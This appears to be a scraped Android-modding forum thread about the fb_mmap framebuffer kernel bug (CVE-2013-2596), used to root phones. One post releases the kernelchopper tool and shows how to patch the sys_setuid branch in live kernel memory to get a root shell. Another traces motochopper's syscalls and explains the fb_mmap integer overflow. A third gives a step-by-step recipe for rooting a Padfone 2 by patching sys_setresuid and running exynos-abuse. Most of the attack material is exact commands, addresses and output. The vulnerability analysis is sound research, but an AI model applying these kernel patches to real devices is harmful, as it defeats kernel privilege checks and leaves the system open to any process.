    I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.

    kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:

    1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping

    2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number

    On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.

    Sample usage:

    A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:

    Code:
    80000000-beafffff : System RAM
      80008000-80900a57 : Kernel text
      80944000-80b841af : Kernel data

    Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":

    Code:
    c0077650 <sys_setuid>:
    c0077650:       e92d40f8        push    {r3, r4, r5, r6, r7, lr}
    c0077654:       e1a05000        mov     r5, r0
    c0077658:       eb0040d6        bl      c00879b8 <prepare_creds>
    c007765c:       e2504000        subs    r4, r0, #0
    c0077660:       0a000027        beq     c0077704 <sys_setuid+0xb4>
    c0077664:       e1a0200d        mov     r2, sp
    c0077668:       e3c23d7f        bic     r3, r2, #8128   ; 0x1fc0
    c007766c:       e3c3303f        bic     r3, r3, #63     ; 0x3f
    c0077670:       e3a00007        mov     r0, #7
    c0077674:       e593300c        ldr     r3, [r3, #12]
    c0077678:       e59362fc        ldr     r6, [r3, #764]  ; 0x2fc
    c007767c:       ebffd80f        bl      c006d6c0 <nsown_capable>
    c0077680:       e3500000        cmp     r0, #0
    [color=red]c0077684:       1a00000a        bne     c00776b4 <sys_setuid+0x64>[/color]

    Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:

    Code:
    shell@android:/data/local/tmp $ ./kernelchopper d 80077650 40                  
    80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 
    80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 
    80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb 
    80077680: 00 00 50 e3 [color=red]0a 00 00 1a[/color] 04 30 96 e5 05 00 53 e1

    The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:

    Code:
    shell@android:/data/local/tmp $ ./kernelchopper m 80077684                     
    1a00000a
    shell@android:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a            
    shell@android:/data/local/tmp $ ./kernelchopper shell                          
    shell@android:/data/local/tmp # id
    uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

    At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.

    kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.

    Code:
    shell@android:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin       
    shell@android:/data/local/tmp $ hexdump -C setuid.bin
    00000000  f8 40 2d e9 00 50 a0 e1  d6 40 00 eb 00 40 50 e2  |.@-..P.. [user=457974]@...[/user]@P.|
    00000010  27 00 00 0a 0d 20 a0 e1  7f 3d c2 e3 3f 30 c3 e3  |'.... ...=..?0..|
    00000020  07 00 a0 e3 0c 30 93 e5  fc 62 93 e5 0f d8 ff eb  |.....0...b......|
    00000030  00 00 50 e3 0a 00 00 ea  04 30 96 e5 05 00 53 e1  |..P......0....S.|
    00000040  10 00 00 0a 0c 30 94 e5  05 00 53 e1 00 70 e0 13  |.....0....S..p..|
    00000050  0c 00 00 0a 04 00 a0 e1  34 41 00 eb 07 00 a0 e1  |........4A......|
    00000060  f8 80 bd e8 04 50 84 e5  0c 50 84 e5 04 30 96 e5  |.....P...P...0..|
    00000070  05 00 53 e1 03 00 00 0a  04 00 a0 e1 97 fc ff eb  |..S.............|
    00000080  00 70 50 e2 f2 ff ff ba  14 50 84 e5 04 00 a0 e1  |.pP......P......|
    00000090  1c 50 84 e5 06 10 a0 e1  01 20 a0 e3 cb 61 06 eb  |.P....... ...a..|
    000000a0  00 70 50 e2 ea ff ff ba  04 00 a0 e1 f8 40 bd e8  |.pP..........@..|
    000000b0  32 41 00 ea 0b 70 e0 e3  e7 ff ff ea              |2A...p......|
    000000bc

    It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.
    13
    I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.

    It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.

    Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:

    Code:
    1662  [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill(0x67e, 0x5)       = 0
    1662  [4019d160] kill(0, 0x5)           = 0x5
    1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill()                 = 0
    1662  [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill(0x67e, 0x5)       = 0
    1662  [4019d160] kill(0, 0x5)           = 0x5
    1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill()                 = 0

    After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:

    Code:
    1728  open("/dev/graphics/fb0", O_RDWR) = 6
    ...
    1728  mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
    1728  munmap(0x400f2000, 4096)          = 0
    1728  mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
    1728  munmap(0x40011000, 8192)          = 0
    1728  mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
    1728  munmap(0x4006a000, 12288)         = 0
    ...
    1728  mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
    1728  munmap(0x4015b000, 9433088)       = 0
    1728  mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
    1728  munmap(0x4015b000, 9437184)       = 0
    1728  mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)

    Then it tries to map the largest possible region into the process' address space:

    Code:
    1728  mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000

    Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:

    Code:
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 0
    1728  getuid32()                        = 0
    1728  write(1, "[+] Success!\n", 13)    = 13

    Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.

    Some unanswered questions:

    Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.

    Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?

    What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?


    [1] http://xdaforums.com/showthread.php?t=2252248

    [2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596


    Edit:

    Some recent changes were made to fbmem.c:fb_mmap() in mainline:

    http://www.spinics.net/lists/stable/msg06210.html
    https://lkml.org/lkml/2013/4/23/623

    There is no custom fb_mmap() in Tegra's fb_ops struct.

    Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.

    Edit #2:

    After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:

    Code:
    static int
    fb_mmap(struct file *file, struct vm_area_struct * vma)
    {
            struct fb_info *info = file_fb_info(file);
            struct fb_ops *fb;
            unsigned long off;
            unsigned long start;
            u32 len;
    
            if (!info)
                    return -ENODEV;
            if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
                    return -EINVAL;
            off = vma->vm_pgoff << PAGE_SHIFT;
            fb = info->fbops;
            if (!fb)
                    return -ENODEV;
            mutex_lock(&info->mm_lock);
            if (fb->fb_mmap) {
                    int res;
                    res = fb->fb_mmap(info, vma);
                    mutex_unlock(&info->mm_lock);
                    return res;
            }
    
            /* frame buffer memory */
            start = info->fix.smem_start;
            [color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
            if (off >= len) {
                    /* memory mapped io */
                    off -= len;
                    if (info->var.accel_flags) {
                            mutex_unlock(&info->mm_lock);
                            return -EINVAL;
                    }
                    start = info->fix.mmio_start;
                    len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
            }
            mutex_unlock(&info->mm_lock);
            start &= PAGE_MASK;
            [color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
                    return -EINVAL;[/color]
            off += start;
            vma->vm_pgoff = off >> PAGE_SHIFT;
            /* This is an IO map - tell maydump to skip this VMA */
            vma->vm_flags |= VM_IO | VM_RESERVED;
            vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
            fb_pgprotect(file, vma, off);
            [color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
                                 vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
                    return -EAGAIN;
            return 0;
    }

    The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).

    fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.

    The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:

    Page offset = 0x82900
    Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000

    len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.

    So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
    3
    I now use attached shell script with . ./root_padfone.sh (notice the dot) ; please update the script if you needed to change anything in step 1, or 2.

    Code:
    adb@localhost ~/root_padfone $ . ./root_padfone.sh 
    adb@android:/data/data/com.spartacusrex.spartacuside/adb/root_padfone # exit
    e3500000
    adb@localhost ~/root_padfone $

    In the images, you see I use a ssh server to share the adb priviledges.
    2
    Rooting without bootloader unlock

    Just rooted my Android without unlocking !!


    my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:

    Code:
    00200000-0fbfffff : System RAM
    00208000-00a48c6b : Kernel code
    00a80000-00d33a23 : Kernel data

    The prerequisites are: a Linux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM)

    Hello to all, I just got root on padfone 2 without unlocking and without these prerequisites. I used adt-bundle-linux-x86-20130729, grep and a compiler (try terminal IDE, or use gentooandroid.sourceforge.net ; if you trust the binaries attached to this message you do not need any compiler), then kernelchopper, then applied manually the end of exynos-abuse.

    STEP 0: You may apply this on any Android system on your own risks. If your output of any instruction is not exactly as shown here, you should adapt following instructions accordingly (following color codes, and counting underlined words in hexadecimal notation), or better quit. If you do not get exactly all the outputs I colored here in red, you should QUIT or change previous instructions. If you have no internal microSD, I suggest to you to first chdir a directory of you computer which can host one file of size >4Gb (3898777809 bytes for my padfone 2, the day I bought it).

    STEP 1: finding s_show->seq_printf format string found at: 0x80c281c6.
    We first use adb to put all attached files (unzipped) in /data/data/com.spartacusrex.spartacuside/adb.
    Code:
    script backup_before_installing_su_to_disk
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/busybox /data/.tmp/grep
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/kernelchopper /data/.tmp
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/exynos-abuse-static /data/.tmp
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb shell
    cd /data/.tmp
    ./grep Kernel /proc/iomem
      [COLOR="RoyalBlue"]80208000[/COLOR]-80d9e39f : Kernel code
      80f04000-8128184b : Kernel data
    ./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] c00000 | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 70 4b 20 25 63 20 25 73 0a 00\|: 4b 20 25 63 20 25 73 0a 00\|: 20 25 63 20 25 73 0a 00\|: 25 63 20 25 73 0a 00\|: 63 20 25 73 0a 00\|25 70 4b 20 25 63 20 25 73 0a $\|25 70 4b 20 25 63 20 25 73 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 $\|25 70 4b 20 25 63 $' | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 20 25 73 0a 00\|: 25 73 0a 00\|: 73 0a 00\|: 0a 00\|: 00\|25 70 4b 20 25 $\|25 70 4b 20 $\|25 70 4b $\|25 70 4b $\|25 70 $\|25 $' 
    [COLOR="Green"]80c281c[/COLOR]0: 5b 25 73 5d 0a 00 25 70 4b 20 25 63 20 25 73 0a 
    80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
     ./kernelchopper d [COLOR="Green"]80c281c[/COLOR]0 20
    80c281c0: [U]5b 25 73 5d 0a 00[/U] 25 70 4b 20 25 63 20 25 73 0a 
    80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f 
     ./kernelchopper d [COLOR="Green"]80c281c[/COLOR][U]6[/U] b
    [COLOR="Olive"]80c281c6[/COLOR]: [COLOR="Red"]25 70 4b 20 25 63 20 25 73 0a 00[/COLOR]
    ./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
    [COLOR="Red"]204b7025[/COLOR]
    ./grep sys_setresuid /proc/kallsyms
    00000000 T sys_setresuid
    00000000 T sys_setresuid16
    ./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR] 20207025
    ./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
    [COLOR="Red"]20207025[/COLOR]
    ./grep sys_setresuid /proc/kallsyms
    c[COLOR="SandyBrown"]00856f0[/COLOR]  T sys_setresuid
    c00b7318  T sys_setresuid16
    Notice that /proc/kallsyms now gives offsets instead of 00000000.

    STEP 2: patching sys_setresuid, applying manually exynos-abuse.c (found at 0x802856f0, which is 0x00856f0 plus 80208000). You should replace the underlined lone 8 by the number of bytes underlined, before the 00 00 50 e3 ...
    Code:
    ./kernelchopper d [COLOR="YellowGreen"]802856f0[/COLOR] 80 | ./grep '00 00 50 e3\|20 00 00 ea'
    [COLOR="Purple"]8028572[/COLOR]0: [U]04 72 93 e5 a7 da ff eb[/U] 00 00 50 e3 20 00 00 ea 
    ./kernelchopper d [COLOR="Purple"]8028572[/COLOR][U]8[/U] 8
    [COLOR="MediumTurquoise"]80285728[/COLOR]: [COLOR="Red"]00 00 50 e3 20 00 00 ea[/COLOR] 
    ./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR]
    [COLOR="Red"]e3500000[/COLOR]
    ./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR] e3500001

    STEP 3: getting a root shell.
    Code:
    ./exynos-abuse-static
    2000@android:/data/.tmp # /system/bin/id
    uid=[COLOR="Red"]0[/COLOR](root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

    And you are root until end of connexion by adb. I strongly suggest to you to make the first true backup, to have a chance to restore phone to current state. With an internal microSD, you can type:

    Code:
    cp grep bzip2
    ./bzip2 -c < /dev/block/mmcblk0 > /Removable/Storage1/backup.bz2

    To exploit this file, you will need kpartx.

    If you have NO internal microSD, try a network drive; or if you can wait a full day (like me), you can do:

    Code:
    cp grep bzip2
    cp grep uuencode
    ./bzip2 -c < /dev/block/mmcblk0 | ./uuencode -

    The result will be shown on current window, so you have better hide it once it works. I had a performance of 400kb/s with hidden xterm.

    You will then be able to recover its content with
    Code:
    LANG= grep -aA99999999 '^begin 666 -' < backup_before_installing_su_to_diskreal | uudecode -o backup.bz2

    You may now install /system/xbin/su, eventually renamed to avoid exposing su to malware.
    Here is my firmware (see attached pic).
    Code:
    Android version: 4.1.1, 3.4.0-perf-g64..., M3.13.30-A68_101034 [Jan 22 2013]

    If you need help, please type up-arrow repeatedly, down-arrow repeatedly, then provide the file backup_before_installing_su_to_diskreal.

    Credits to alephzain for original version of exynos-abuse.c, SW686 for kernelchopper.c, spartacusrex for Google-Play's Terminal IDE.
    1
    it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...

    This is why I invented the more open-source method that is displayed three posts above.